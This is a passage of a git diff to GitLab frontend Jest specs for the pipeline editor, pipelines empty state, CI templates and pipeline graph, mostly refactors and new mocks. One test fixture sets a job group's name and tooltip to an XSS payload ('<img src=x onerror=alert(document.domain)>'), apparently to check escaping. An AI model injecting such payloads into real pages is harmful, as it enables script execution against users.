};
@@ -48,12 +48,12 @@ describe('~/pipeline_editor/components/ui/editor_tab.vue', () => {
wrapper = mount(EditorTab, {
propsData: props,
slots: {
- default: MockEditorLite,
+ default: MockSourceEditor,
},
});
};
- const findSlotComponent = () => wrapper.findComponent(MockEditorLite);
+ const findSlotComponent = () => wrapper.findComponent(MockSourceEditor);
const findAlert = () => wrapper.findComponent(GlAlert);
beforeEach(() => {
diff --git a/spec/frontend/pipeline_editor/graphql/resolvers_spec.js b/spec/frontend/pipeline_editor/graphql/resolvers_spec.js
index d39c0d80296..76ae96c623a 100644
--- a/spec/frontend/pipeline_editor/graphql/resolvers_spec.js
+++ b/spec/frontend/pipeline_editor/graphql/resolvers_spec.js
@@ -1,15 +1,8 @@
import MockAdapter from 'axios-mock-adapter';
-import Api from '~/api';
import axios from '~/lib/utils/axios_utils';
import httpStatus from '~/lib/utils/http_status';
import { resolvers } from '~/pipeline_editor/graphql/resolvers';
-import {
- mockCiConfigPath,
- mockCiYml,
- mockDefaultBranch,
- mockLintResponse,
- mockProjectFullPath,
-} from '../mock_data';
+import { mockLintResponse } from '../mock_data';
jest.mock('~/api', () => {
return {
@@ -18,36 +11,6 @@ jest.mock('~/api', () => {
});
describe('~/pipeline_editor/graphql/resolvers', () => {
- describe('Query', () => {
- describe('blobContent', () => {
- beforeEach(() => {
- Api.getRawFile.mockResolvedValue({
- data: mockCiYml,
- });
- });
-
- afterEach(() => {
- Api.getRawFile.mockReset();
- });
-
- it('resolves lint data with type names', async () => {
- const result = resolvers.Query.blobContent(null, {
- projectPath: mockProjectFullPath,
- path: mockCiConfigPath,
- ref: mockDefaultBranch,
- });
-
- expect(Api.getRawFile).toHaveBeenCalledWith(mockProjectFullPath, mockCiConfigPath, {
- ref: mockDefaultBranch,
- });
-
- // eslint-disable-next-line no-underscore-dangle
- expect(result.__typename).toBe('BlobContent');
- await expect(result.rawData).resolves.toBe(mockCiYml);
- });
- });
- });
-
describe('Mutation', () => {
describe('lintCI', () => {
let mock;
diff --git a/spec/frontend/pipeline_editor/mock_data.js b/spec/frontend/pipeline_editor/mock_data.js
index cadcdf6ae2e..4d4a8c21d78 100644
--- a/spec/frontend/pipeline_editor/mock_data.js
+++ b/spec/frontend/pipeline_editor/mock_data.js
@@ -35,6 +35,23 @@ job_build:
- echo "build"
needs: ["job_test_2"]
`;
+export const mockBlobContentQueryResponse = {
+ data: {
+ project: { repository: { blobs: { nodes: [{ rawBlob: mockCiYml }] } } },
+ },
+};
+
+export const mockBlobContentQueryResponseNoCiFile = {
+ data: {
+ project: { repository: { blobs: { nodes: [] } } },
+ },
+};
+
+export const mockBlobContentQueryResponseEmptyCiFile = {
+ data: {
+ project: { repository: { blobs: { nodes: [{ rawBlob: '' }] } } },
+ },
+};
const mockJobFields = {
beforeScript: [],
@@ -139,6 +156,35 @@ export const mergeUnwrappedCiConfig = (mergedConfig) => {
};
};
+export const mockNewCommitShaResults = {
+ data: {
+ project: {
+ pipelines: {
+ nodes: [
+ {
+ id: 'gid://gitlab/Ci::Pipeline/1',
+ sha: 'd0d56d363d8a3f67a8ab9fc00207d468f30032ca',
+ path: `/${mockProjectFullPath}/-/pipelines/488`,
+ commitPath: `/${mockProjectFullPath}/-/commit/d0d56d363d8a3f67a8ab9fc00207d468f30032ca`,
+ },
+ {
+ id: 'gid://gitlab/Ci::Pipeline/2',
+ sha: 'fcab2ece40b26f428dfa3aa288b12c3c5bdb06aa',
+ path: `/${mockProjectFullPath}/-/pipelines/487`,
+ commitPath: `/${mockProjectFullPath}/-/commit/fcab2ece40b26f428dfa3aa288b12c3c5bdb06aa`,
+ },
+ {
+ id: 'gid://gitlab/Ci::Pipeline/3',
+ sha: '6c16b17c7f94a438ae19a96c285bb49e3c632cf4',
+ path: `/${mockProjectFullPath}/-/pipelines/433`,
+ commitPath: `/${mockProjectFullPath}/-/commit/6c16b17c7f94a438ae19a96c285bb49e3c632cf4`,
+ },
+ ],
+ },
+ },
+ },
+};
+
export const mockProjectBranches = {
data: {
project: {
diff --git a/spec/frontend/pipeline_editor/pipeline_editor_app_spec.js b/spec/frontend/pipeline_editor/pipeline_editor_app_spec.js
index c88fe159c0d..b0d1a69ee56 100644
--- a/spec/frontend/pipeline_editor/pipeline_editor_app_spec.js
+++ b/spec/frontend/pipeline_editor/pipeline_editor_app_spec.js
@@ -3,7 +3,6 @@ import { shallowMount, createLocalVue } from '@vue/test-utils';
import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
-import httpStatusCodes from '~/lib/utils/http_status';
import CommitForm from '~/pipeline_editor/components/commit/commit_form.vue';
import TextEditor from '~/pipeline_editor/components/editor/text_editor.vue';
@@ -11,21 +10,30 @@ import PipelineEditorTabs from '~/pipeline_editor/components/pipeline_editor_tab
import PipelineEditorEmptyState from '~/pipeline_editor/components/ui/pipeline_editor_empty_state.vue';
import PipelineEditorMessages from '~/pipeline_editor/components/ui/pipeline_editor_messages.vue';
import { COMMIT_SUCCESS, COMMIT_FAILURE } from '~/pipeline_editor/constants';
+import getBlobContent from '~/pipeline_editor/graphql/queries/blob_content.graphql';
import getCiConfigData from '~/pipeline_editor/graphql/queries/ci_config.graphql';
+import getPipelineQuery from '~/pipeline_editor/graphql/queries/client/pipeline.graphql';
+import getTemplate from '~/pipeline_editor/graphql/queries/get_starter_template.query.graphql';
+import getLatestCommitShaQuery from '~/pipeline_editor/graphql/queries/latest_commit_sha.query.graphql';
import PipelineEditorApp from '~/pipeline_editor/pipeline_editor_app.vue';
import PipelineEditorHome from '~/pipeline_editor/pipeline_editor_home.vue';
import {
mockCiConfigPath,
mockCiConfigQueryResponse,
+ mockBlobContentQueryResponse,
+ mockBlobContentQueryResponseEmptyCiFile,
+ mockBlobContentQueryResponseNoCiFile,
mockCiYml,
+ mockCommitSha,
mockDefaultBranch,
mockProjectFullPath,
+ mockNewCommitShaResults,
} from './mock_data';
const localVue = createLocalVue();
localVue.use(VueApollo);
-const MockEditorLite = {
+const MockSourceEditor = {
template: '<div/>',
};
@@ -44,6 +52,10 @@ describe('Pipeline editor app component', () => {
let mockApollo;
let mockBlobContentData;
let mockCiConfigData;
+ let mockGetTemplate;
+ let mockUpdateCommitSha;
+ let mockLatestCommitShaQuery;
+ let mockPipelineQuery;
const createComponent = ({ blobLoading = false, options = {}, provide = {} } = {}) => {
wrapper = shallowMount(PipelineEditorApp, {
@@ -55,7 +67,7 @@ describe('Pipeline editor app component', () => {
PipelineEditorHome,
PipelineEditorTabs,
PipelineEditorMessages,
- EditorLite: MockEditorLite,
+ SourceEditor: MockSourceEditor,
PipelineEditorEmptyState,
},
mocks: {
@@ -75,16 +87,23 @@ describe('Pipeline editor app component', () => {
};
const createComponentWithApollo = async ({ props = {}, provide = {} } = {}) => {
- const handlers = [[getCiConfigData, mockCiConfigData]];
+ const handlers = [
+ [getBlobContent, mockBlobContentData],
+ [getCiConfigData, mockCiConfigData],
+ [getTemplate, mockGetTemplate],
+ [getLatestCommitShaQuery, mockLatestCommitShaQuery],
+ [getPipelineQuery, mockPipelineQuery],
+ ];
+
const resolvers = {
Query: {
- blobContent() {
- return {
- __typename: 'BlobContent',
- rawData: mockBlobContentData(),
- };
+ commitSha() {
+ return mockCommitSha;
},
},
+ Mutation: {
+ updateCommitSha: mockUpdateCommitSha,
+ },
};
mockApollo = createMockApollo(handlers, resolvers);
@@ -116,6 +135,10 @@ describe('Pipeline editor app component', () => {
beforeEach(() => {
mockBlobContentData = jest.fn();
mockCiConfigData = jest.fn();
+ mockGetTemplate = jest.fn();
+ mockUpdateCommitSha = jest.fn();
+ mockLatestCommitShaQuery = jest.fn();
+ mockPipelineQuery = jest.fn();
});
afterEach(() => {
@@ -133,7 +156,7 @@ describe('Pipeline editor app component', () => {
describe('when queries are called', () => {
beforeEach(() => {
- mockBlobContentData.mockResolvedValue(mockCiYml);
+ mockBlobContentData.mockResolvedValue(mockBlobContentQueryResponse);
mockCiConfigData.mockResolvedValue(mockCiConfigQueryResponse);
});
@@ -154,39 +177,19 @@ describe('Pipeline editor app component', () => {
expect(mockCiConfigData).toHaveBeenCalledWith({
content: mockCiYml,
projectPath: mockProjectFullPath,
+ sha: mockCommitSha,
});
});
});
describe('when no CI config file exists', () => {
- describe('in a project without a repository', () => {
- it('shows an empty state and does not show editor home component', async () => {
- mockBlobContentData.mockRejectedValueOnce({
- response: {
- status: httpStatusCodes.BAD_REQUEST,
- },
- });
- await createComponentWithApollo();
-
- expect(findEmptyState().exists()).toBe(true);
- expect(findAlert().exists()).toBe(false);
- expect(findEditorHome().exists()).toBe(false);
- });
- });
-
- describe('in a project with a repository', () => {
- it('shows an empty state and does not show editor home component', async () => {
- mockBlobContentData.mockRejectedValueOnce({
- response: {
- status: httpStatusCodes.NOT_FOUND,
- },
- });
- await createComponentWithApollo();
+ it('shows an empty state and does not show editor home component', async () => {
+ mockBlobContentData.mockResolvedValue(mockBlobContentQueryResponseNoCiFile);
+ await createComponentWithApollo();
- expect(findEmptyState().exists()).toBe(true);
- expect(findAlert().exists()).toBe(false);
- expect(findEditorHome().exists()).toBe(false);
- });
+ expect(findEmptyState().exists()).toBe(true);
+ expect(findAlert().exists()).toBe(false);
+ expect(findEditorHome().exists()).toBe(false);
});
describe('because of a fetching error', () => {
@@ -204,13 +207,28 @@ describe('Pipeline editor app component', () => {
});
});
+ describe('with an empty CI config file', () => {
+ describe('with empty state feature flag on', () => {
+ it('does not show the empty screen state', async () => {
+ mockBlobContentData.mockResolvedValue(mockBlobContentQueryResponseEmptyCiFile);
+
+ await createComponentWithApollo({
+ provide: {
+ glFeatures: {
+ pipelineEditorEmptyStateAction: true,
+ },
+ },
+ });
+
+ expect(findEmptyState().exists()).toBe(false);
+ expect(findTextEditor().exists()).toBe(true);
+ });
+ });
+ });
+
describe('when landing on the empty state with feature flag on', () => {
it('user can click on CTA button and see an empty editor', async () => {
- mockBlobContentData.mockRejectedValueOnce({
- response: {
- status: httpStatusCodes.NOT_FOUND,
- },
- });
+ mockBlobContentData.mockResolvedValue(mockBlobContentQueryResponseNoCiFile);
await createComponentWithApollo({
provide: {
@@ -315,21 +333,83 @@ describe('Pipeline editor app component', () => {
});
it('hides start screen when refetch fetches CI file', async () => {
- mockBlobContentData.mockRejectedValue({
- response: {
- status: httpStatusCodes.NOT_FOUND,
- },
- });
+ mockBlobContentData.mockResolvedValue(mockBlobContentQueryResponseNoCiFile);
await createComponentWithApollo();
expect(findEmptyState().exists()).toBe(true);
expect(findEditorHome().exists()).toBe(false);
- mockBlobContentData.mockResolvedValue(mockCiYml);
+ mockBlobContentData.mockResolvedValue(mockBlobContentQueryResponse);
await wrapper.vm.$apollo.queries.initialCiFileContent.refetch();
expect(findEmptyState().exists()).toBe(false);
expect(findEditorHome().exists()).toBe(true);
});
});
+
+ describe('when a template parameter is present in the URL', () => {
+ const { location } = window;
+
+ beforeEach(() => {
+ delete window.location;
+ window.location = new URL('https://localhost?template=Android');
+ });
+
+ afterEach(() => {
+ window.location = location;
+ });
+
+ it('renders the given template', async () => {
+ await createComponentWithApollo();
+
+ expect(mockGetTemplate).toHaveBeenCalledWith({
+ projectPath: mockProjectFullPath,
+ templateName: 'Android',
+ });
+
+ expect(findEmptyState().exists()).toBe(false);
+ expect(findTextEditor().exists()).toBe(true);
+ });
+ });
+
+ describe('when updating commit sha', () => {
+ const newCommitSha = mockNewCommitShaResults.data.project.pipelines.nodes[0].sha;
+
+ beforeEach(async () => {
+ mockUpdateCommitSha.mockResolvedValue(newCommitSha);
+ mockLatestCommitShaQuery.mockResolvedValue(mockNewCommitShaResults);
+ await createComponentWithApollo();
+ });
+
+ it('fetches updated commit sha for the new branch', async () => {
+ expect(mockLatestCommitShaQuery).not.toHaveBeenCalled();
+
+ wrapper
+ .findComponent(PipelineEditorHome)
+ .vm.$emit('updateCommitSha', { newBranch: 'new-branch' });
+ await waitForPromises();
+
+ expect(mockLatestCommitShaQuery).toHaveBeenCalledWith({
+ projectPath: mockProjectFullPath,
+ ref: 'new-branch',
+ });
+ });
+
+ it('updates commit sha with the newly fetched commit sha', async () => {
+ expect(mockUpdateCommitSha).not.toHaveBeenCalled();
+
+ wrapper
+ .findComponent(PipelineEditorHome)
+ .vm.$emit('updateCommitSha', { newBranch: 'new-branch' });
+ await waitForPromises();
+
+ expect(mockUpdateCommitSha).toHaveBeenCalled();
+ expect(mockUpdateCommitSha).toHaveBeenCalledWith(
+ expect.any(Object),
+ { commitSha: mockNewCommitShaResults.data.project.pipelines.nodes[0].sha },
+ expect.any(Object),
+ expect.any(Object),
+ );
+ });
+ });
});
diff --git a/spec/frontend/pipelines/empty_state_spec.js b/spec/frontend/pipelines/empty_state_spec.js
index 912bc7a104a..1af3065477d 100644
--- a/spec/frontend/pipelines/empty_state_spec.js
+++ b/spec/frontend/pipelines/empty_state_spec.js
@@ -1,14 +1,21 @@
+import '~/commons';
import { mount } from '@vue/test-utils';
import EmptyState from '~/pipelines/components/pipelines_list/empty_state.vue';
+import PipelinesCiTemplates from '~/pipelines/components/pipelines_list/pipelines_ci_templates.vue';
describe('Pipelines Empty State', () => {
let wrapper;
const findIllustration = () => wrapper.find('img');
const findButton = () => wrapper.find('a');
+ const pipelinesCiTemplates = () => wrapper.findComponent(PipelinesCiTemplates);
const createWrapper = (props = {}) => {
wrapper = mount(EmptyState, {
+ provide: {
+ pipelineEditorPath: '',
+ suggestedCiTemplates: [],
+ },
propsData: {
emptyStateSvgPath: 'foo.svg',
canSetCi: true,
@@ -27,27 +34,8 @@ describe('Pipelines Empty State', () => {
wrapper = null;
});
- it('should render empty state SVG', () => {
- expect(findIllustration().attributes('src')).toBe('foo.svg');
- });
-
- it('should render empty state header', () => {
- expect(wrapper.text()).toContain('Build with confidence');
- });
-
- it('should render empty state information', () => {
- expect(wrapper.text()).toContain(
- 'GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time',
- 'consuming tasks, so you can spend more time creating',
- );
- });
-
- it('should render button with help path', () => {
- expect(findButton().attributes('href')).toBe('/help/ci/quick_start/index.md');
- });
-
- it('should render button text', () => {
- expect(findButton().text()).toBe('Get started with CI/CD');
+ it('should render the CI/CD templates', () => {
+ expect(pipelinesCiTemplates()).toExist();
});
});
diff --git a/spec/frontend/pipelines/graph/mock_data.js b/spec/frontend/pipelines/graph/mock_data.js
index 28fe3b67e7b..3812483766d 100644
--- a/spec/frontend/pipelines/graph/mock_data.js
+++ b/spec/frontend/pipelines/graph/mock_data.js
@@ -12,6 +12,10 @@ export const mockPipelineResponse = {
usesNeeds: true,
downstream: null,
upstream: null,
+ userPermissions: {
+ __typename: 'PipelinePermissions',
+ updatePipeline: true,
+ },
stages: {
__typename: 'CiStageConnection',
nodes: [
@@ -573,6 +577,10 @@ export const wrappedPipelineReturn = {
iid: '38',
complete: true,
usesNeeds: true,
+ userPermissions: {
+ __typename: 'PipelinePermissions',
+ updatePipeline: true,
+ },
downstream: {
__typename: 'PipelineConnection',
nodes: [],
diff --git a/spec/frontend/pipelines/graph/stage_column_component_spec.js b/spec/frontend/pipelines/graph/stage_column_component_spec.js
index f9f6c96a1a6..99e8ea9d0a4 100644
--- a/spec/frontend/pipelines/graph/stage_column_component_spec.js
+++ b/spec/frontend/pipelines/graph/stage_column_component_spec.js
@@ -31,6 +31,9 @@ const defaultProps = {
name: 'Fish',
groups: mockGroups,
pipelineId: 159,
+ userPermissions: {
+ updatePipeline: true,
+ },
};
describe('stage column component', () => {
@@ -53,7 +56,6 @@ describe('stage column component', () => {
afterEach(() => {
wrapper.destroy();
- wrapper = null;
});
describe('when mounted', () => {
@@ -152,36 +154,52 @@ describe('stage column component', () => {
});
describe('with action', () => {
- beforeEach(() => {
+ const defaults = {
+ groups: [
+ {
+ id: 4259,
+ name: '<img src=x onerror=alert(document.domain)>',
+ status: {
+ icon: 'status_success',
+ label: 'success',
+ tooltip: '<img src=x onerror=alert(document.domain)>',
+ },
+ jobs: [mockJob],
+ },
+ ],
+ title: 'test',
+ hasTriggeredBy: false,
+ action: {
+ icon: 'play',
+ title: 'Play all',
+ path: 'action',
+ },
+ };
+
+ it('renders action button if permissions are permitted', () => {
createComponent({
method: mount,
props: {
- groups: [
- {
- id: 4259,
- name: '<img src=x onerror=alert(document.domain)>',
- status: {
- icon: 'status_success',
- label: 'success',
- tooltip: '<img src=x onerror=alert(document.domain)>',
- },
- jobs: [mockJob],
- },
- ],
- title: 'test',
- hasTriggeredBy: false,
- action: {
- icon: 'play',
- title: 'Play all',
- path: 'action',
- },
+ ...defaults,
},
});
- });
- it('renders action button', () => {
expect(findActionComponent().exists()).toBe(true);
});
+
+ it('does not render action button if permissions are not permitted', () => {
+ createComponent({
+ method: mount,
+ props: {
+ ...defaults,
+ userPermissions: {
+ updatePipeline: false,
+ },
+ },
+ });
+
+ expect(findActionComponent().exists()).toBe(false);
+ });
});
describe('without action', () => {
diff --git a/spec/frontend/pipelines/graph_shared/__snapshots__/links_inner_spec.js.snap b/spec/frontend/pipelines/graph_shared/__snapshots__/links_inner_spec.js.snap
index 16c28791514..82206e907ff 100644
--- a/spec/frontend/pipelines/graph_shared/__snapshots__/links_inner_spec.js.snap
+++ b/spec/frontend/pipelines/graph_shared/__snapshots__/links_inner_spec.js.snap
@@ -2,29 +2,29 @@
exports[`Links Inner component with a large number of needs matches snapshot and has expected path 1`] = `
"<div class=\\"gl-display-flex gl-relative\\" totalgroups=\\"10\\"><svg id=\\"link-svg\\" viewBox=\\"0,0,1019,445\\" width=\\"1019px\\" height=\\"445px\\" class=\\"gl-absolute gl-pointer-events-none\\">
- <path d=\\"M202,118L42,118C72,118,72,138,102,138\\" stroke-width=\\"2\\" class=\\"gl-fill-transparent gl-transition-duration-slow gl-transition-timing-function-ease gl-stroke-gray-200\\"></path>
- <path d=\\"M202,118L52,118C82,118,82,148,112,148\\" stroke-width=\\"2\\" class=\\"gl-fill-transparent gl-transition-duration-slow gl-transition-timing-function-ease gl-stroke-gray-200\\"></path>
- <path d=\\"M222,138L62,138C92,138,92,158,122,158\\" stroke-width=\\"2\\" class=\\"gl-fill-transparent gl-transition-duration-slow gl-transition-timing-function-ease gl-stroke-gray-200\\"></path>
- <path d=\\"M212,128L72,128C102,128,102,168,132,168\\" stroke-width=\\"2\\" class=\\"gl-fill-transparent gl-transition-duration-slow gl-transition-timing-function-ease gl-stroke-gray-200\\"></path>
- <path d=\\"M232,148L82,148C112,148,112,178,142,178\\" stroke-width=\\"2\\" class=\\"gl-fill-transparent gl-transition-duration-slow gl-transition-timing-function-ease gl-stroke-gray-200\\"></path>
+ <path d=\\"M202,118C52,118,52,138,102,138\\" stroke-width=\\"2\\" class=\\"gl-fill-transparent gl-transition-duration-slow gl-transition-timing-function-ease gl-stroke-gray-200\\"></path>
+ <path d=\\"M202,118C62,118,62,148,112,148\\" stroke-width=\\"2\\" class=\\"gl-fill-transparent gl-transition-duration-slow gl-transition-timing-function-ease gl-stroke-gray-200\\"></path>
+ <path d=\\"M222,138C72,138,72,158,122,158\\" stroke-width=\\"2\\" class=\\"gl-fill-transparent gl-transition-duration-slow gl-transition-timing-function-ease gl-stroke-gray-200\\"></path>
+ <path d=\\"M212,128C82,128,82,168,132,168\\" stroke-width=\\"2\\" class=\\"gl-fill-transparent gl-transition-duration-slow gl-transition-timing-function-ease gl-stroke-gray-200\\"></path>
+ <path d=\\"M232,148C92,148,92,178,142,178\\" stroke-width=\\"2\\" class=\\"gl-fill-transparent gl-transition-duration-slow gl-transition-timing-function-ease gl-stroke-gray-200\\"></path>
</svg> </div>"
`;
exports[`Links Inner component with a parallel need matches snapshot and has expected path 1`] = `
"<div class=\\"gl-display-flex gl-relative\\" totalgroups=\\"10\\"><svg id=\\"link-svg\\" viewBox=\\"0,0,1019,445\\" width=\\"1019px\\" height=\\"445px\\" class=\\"gl-absolute gl-pointer-events-none\\">
- <path d=\\"M192,108L22,108C52,108,52,118,82,118\\" stroke-width=\\"2\\" class=\\"gl-fill-transparent gl-transition-duration-slow gl-transition-timing-function-ease gl-stroke-gray-200\\"></path>
+ <path d=\\"M192,108C32,108,32,118,82,118\\" stroke-width=\\"2\\" class=\\"gl-fill-transparent gl-transition-duration-slow gl-transition-timing-function-ease gl-stroke-gray-200\\"></path>
</svg> </div>"
`;
exports[`Links Inner component with one need matches snapshot and has expected path 1`] = `
"<div class=\\"gl-display-flex gl-relative\\" totalgroups=\\"10\\"><svg id=\\"link-svg\\" viewBox=\\"0,0,1019,445\\" width=\\"1019px\\" height=\\"445px\\" class=\\"gl-absolute gl-pointer-events-none\\">
- <path d=\\"M202,118L42,118C72,118,72,138,102,138\\" stroke-width=\\"2\\" class=\\"gl-fill-transparent gl-transition-duration-slow gl-transition-timing-function-ease gl-stroke-gray-200\\"></path>
+ <path d=\\"M202,118C52,118,52,138,102,138\\" stroke-width=\\"2\\" class=\\"gl-fill-transparent gl-transition-duration-slow gl-transition-timing-function-ease gl-stroke-gray-200\\"></path>
</svg> </div>"
`;
exports[`Links Inner component with same stage needs matches snapshot and has expected path 1`] = `
"<div class=\\"gl-display-flex gl-relative\\" totalgroups=\\"10\\"><svg id=\\"link-svg\\" viewBox=\\"0,0,1019,445\\" width=\\"1019px\\" height=\\"445px\\" class=\\"gl-absolute gl-pointer-events-none\\">
- <path d=\\"M192,108L22,108C52,108,52,118,82,118\\" stroke-width=\\"2\\" class=\\"gl-fill-transparent gl-transition-duration-slow gl-transition-timing-function-ease gl-stroke-gray-200\\"></path>
- <path d=\\"M202,118L32,118C62,118,62,128,92,128\\" stroke-width=\\"2\\" class=\\"gl-fill-transparent gl-transition-duration-slow gl-transition-timing-function-ease gl-stroke-gray-200\\"></path>
+ <path d=\\"M192,108C32,108,32,118,82,118\\" stroke-width=\\"2\\" class=\\"gl-fill-transparent gl-transition-duration-slow gl-transition-timing-function-ease gl-stroke-gray-200\\"></path>
+ <path d=\\"M202,118C42,118,42,128,92,128\\" stroke-width=\\"2\\" class=\\"gl-fill-transparent gl-transition-duration-slow gl-transition-timing-function-ease gl-stroke-gray-200\\"></path>
</svg> </div>"
`;
diff --git a/spec/frontend/pipelines/pipeline_graph/pipeline_graph_spec.js b/spec/frontend/pipelines/pipeline_graph/pipeline_graph_spec.js
index 7bac7036f46..1b89e322d31 100644
--- a/spec/frontend/pipelines/pipeline_graph/pipeline_graph_spec.js
+++ b/spec/frontend/pipelines/pipeline_graph/pipeline_graph_spec.js
@@ -6,7 +6,7 @@ import LinksInner from '~/pipelines/components/graph_shared/links_inner.vue';
import LinksLayer from '~/pipelines/components/graph_shared/links_layer.vue';
import JobPill from '~/pipelines/components/pipeline_graph/job_pill.vue';
import PipelineGraph from '~/pipelines/components/pipeline_graph/pipeline_graph.vue';
-import StagePill from '~/pipelines/components/pipeline_graph/stage_pill.vue';
+import StageName from '~/pipelines/components/pipeline_graph/stage_name.vue';
import { pipelineData, singleStageData } from './mock_data';
describe('pipeline graph component', () => {
@@ -35,11 +35,9 @@ describe('pipeline graph component', () => {
const findAlert = () => wrapper.findComponent(GlAlert);
const findAllJobPills = () => wrapper.findAll(JobPill);
- const findAllStageBackgroundElements = () => wrapper.findAll('[data-testid="stage-background"]');
- const findAllStagePills = () => wrapper.findAllComponents(StagePill);
+ const findAllStageNames = () => wrapper.findAllComponents(StageName);
const findLinksLayer = () => wrapper.findComponent(LinksLayer);
const findPipelineGraph = () => wrapper.find('[data-testid="graph-container"]');
- const findStageBackgroundElementAt = (index) => findAllStageBackgroundElements().at(index);
afterEach(() => {
wrapper.destroy();
@@ -67,10 +65,10 @@ describe('pipeline graph component', () => {
wrapper = createComponent({ pipelineData: singleStageData });
});
- it('renders the right number of stage pills', () => {
+ it('renders the right number of stage titles', () => {
const expectedStagesLength = singleStageData.stages.length;
- expect(findAllStagePills()).toHaveLength(expectedStagesLength);
+ expect(findAllStageNames()).toHaveLength(expectedStagesLength);
});
it('renders the right number of job pills', () => {
@@ -81,20 +79,6 @@ describe('pipeline graph component', () => {
expect(findAllJobPills()).toHaveLength(expectedJobsLength);
});
-
- describe('rounds corner', () => {
- it.each`
- cssClass | expectedState
- ${'gl-rounded-bottom-left-6'} | ${true}
- ${'gl-rounded-top-left-6'} | ${true}
- ${'gl-rounded-top-right-6'} | ${true}
- ${'gl-rounded-bottom-right-6'} | ${true}
- `('$cssClass should be $expectedState on the only element', ({ cssClass, expectedState }) => {
- const classes = findStageBackgroundElementAt(0).classes();
-
- expect(classes.includes(cssClass)).toBe(expectedState);
- });
- });
});
describe('with multiple stages and jobs', () => {
@@ -102,10 +86,10 @@ describe('pipeline graph component', () => {
wrapper = createComponent();
});
- it('renders the right number of stage pills', () => {
+ it('renders the right number of stage titles', () => {
const expectedStagesLength = pipelineData.stages.length;
- expect(findAllStagePills()).toHaveLength(expectedStagesLength);
+ expect(findAllStageNames()).toHaveLength(expectedStagesLength);
});
it('renders the right number of job pills', () => {
@@ -116,34 +100,5 @@ describe('pipeline graph component', () => {
expect(findAllJobPills()).toHaveLength(expectedJobsLength);
});
-
- describe('rounds corner', () => {
- it.each`
- cssClass | expectedState
- ${'gl-rounded-bottom-left-6'} | ${true}
- ${'gl-rounded-top-left-6'} | ${true}
- ${'gl-rounded-top-right-6'} | ${false}
- ${'gl-rounded-bottom-right-6'} | ${false}
- `(
- '$cssClass should be $expectedState on the first element',
- ({ cssClass, expectedState }) => {
- const classes = findStageBackgroundElementAt(0).classes();
-
- expect(classes.includes(cssClass)).toBe(expectedState);
- },
- );
-
- it.each`
- cssClass | expectedState
- ${'gl-rounded-bottom-left-6'} | ${false}
- ${'gl-rounded-top-left-6'} | ${false}
- ${'gl-rounded-top-right-6'} | ${true}
- ${'gl-rounded-bottom-right-6'} | ${true}
- `('$cssClass should be $expectedState on the last element', ({ cssClass, expectedState }) => {
- const classes = findStageBackgroundElementAt(pipelineData.stages.length - 1).classes();
-
- expect(classes.includes(cssClass)).toBe(expectedState);
- });
- });
});
});
diff --git a/spec/frontend/pipelines/pipelines_ci_templates_spec.js b/spec/frontend/pipelines/pipelines_ci_templates_spec.js
index 0c37bf2d84a..db66b675fb9 100644
--- a/spec/frontend/pipelines/pipelines_ci_templates_spec.js
+++ b/spec/frontend/pipelines/pipelines_ci_templates_spec.js
@@ -1,30 +1,25 @@
+import '~/commons';
import { shallowMount } from '@vue/test-utils';
-import ExperimentTracking from '~/experimentation/experiment_tracking';
+import { mockTracking } from 'helpers/tracking_helper';
import PipelinesCiTemplate from '~/pipelines/components/pipelines_list/pipelines_ci_templates.vue';
-const addCiYmlPath = "/-/new/main?commit_message='Add%20.gitlab-ci.yml'";
+const pipelineEditorPath = '/-/ci/editor';
const suggestedCiTemplates = [
{ name: 'Android', logo: '/assets/illustrations/logos/android.svg' },
{ name: 'Bash', logo: '/assets/illustrations/logos/bash.svg' },
{ name: 'C++', logo: '/assets/illustrations/logos/c_plus_plus.svg' },
];
-jest.mock('~/experimentation/experiment_tracking');
-
describe('Pipelines CI Templates', () => {
let wrapper;
-
- const GlEmoji = { template: '<img/>' };
+ let trackingSpy;
const createWrapper = () => {
return shallowMount(PipelinesCiTemplate, {
provide: {
- addCiYmlPath,
+ pipelineEditorPath,
suggestedCiTemplates,
},
- stubs: {
- GlEmoji,
- },
});
};
@@ -44,9 +39,9 @@ describe('Pipelines CI Templates', () => {
wrapper = createWrapper();
});
- it('links to the hello world template', () => {
+ it('links to the getting started template', () => {
expect(findTestTemplateLinks().at(0).attributes('href')).toBe(
- addCiYmlPath.concat('&template=Hello-World'),
+ pipelineEditorPath.concat('?template=Getting-Started'),
);
});
});
@@ -68,7 +63,7 @@ describe('Pipelines CI Templates', () => {
it('links to the correct template', () => {
expect(findTemplateLinks().at(0).attributes('href')).toBe(
- addCiYmlPath.concat('&template=Android'),
+ pipelineEditorPath.concat('?template=Android'),
);
});
@@ -88,24 +83,25 @@ describe('Pipelines CI Templates', () => {
describe('tracking', () => {
beforeEach(() => {
wrapper = createWrapper();
+ trackingSpy = mockTracking(undefined, wrapper.element, jest.spyOn);
});
it('sends an event when template is clicked', () => {
findTemplateLinks().at(0).vm.$emit('click');
- expect(ExperimentTracking).toHaveBeenCalledWith('pipeline_empty_state_templates', {
+ expect(trackingSpy).toHaveBeenCalledTimes(1);
+ expect(trackingSpy).toHaveBeenCalledWith(undefined, 'template_clicked', {
label: 'Android',
});
- expect(ExperimentTracking.prototype.event).toHaveBeenCalledWith('template_clicked');
});
- it('sends an event when Hello-World template is clicked', () => {
+ it('sends an event when Getting-Started template is clicked', () => {
findTestTemplateLinks().at(0).vm.$emit('click');
- expect(ExperimentTracking).toHaveBeenCalledWith('pipeline_empty_state_templates', {
- label: 'Hello-World',
+ expect(trackingSpy).toHaveBeenCalledTimes(1);
+ expect(trackingSpy).toHaveBeenCalledWith(undefined, 'template_clicked', {
+ label: 'Getting-Started',
});
- expect(ExperimentTracking.prototype.event).toHaveBeenCalledWith('template_clicked');
});
});
});
diff --git a/spec/frontend/pipelines/pipelines_spec.js b/spec/frontend/pipelines/pipelines_spec.js
index 874ecbccf82..2166961cedd 100644
--- a/spec/frontend/pipelines/pipelines_spec.js
+++ b/spec/frontend/pipelines/pipelines_spec.js
@@ -12,6 +12,7 @@ import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import NavigationControls from '~/pipelines/components/pipelines_list/nav_controls.vue';
import PipelinesComponent from '~/pipelines/components/pipelines_list/pipelines.vue';
+import PipelinesCiTemplates from '~/pipelines/components/pipelines_list/pipelines_ci_templates.vue';
import PipelinesTableComponent from '~/pipelines/components/pipelines_list/pipelines_table.vue';
import { RAW_TEXT_WARNING } from '~/pipelines/constants';
import Store from '~/pipelines/stores/pipelines_store';
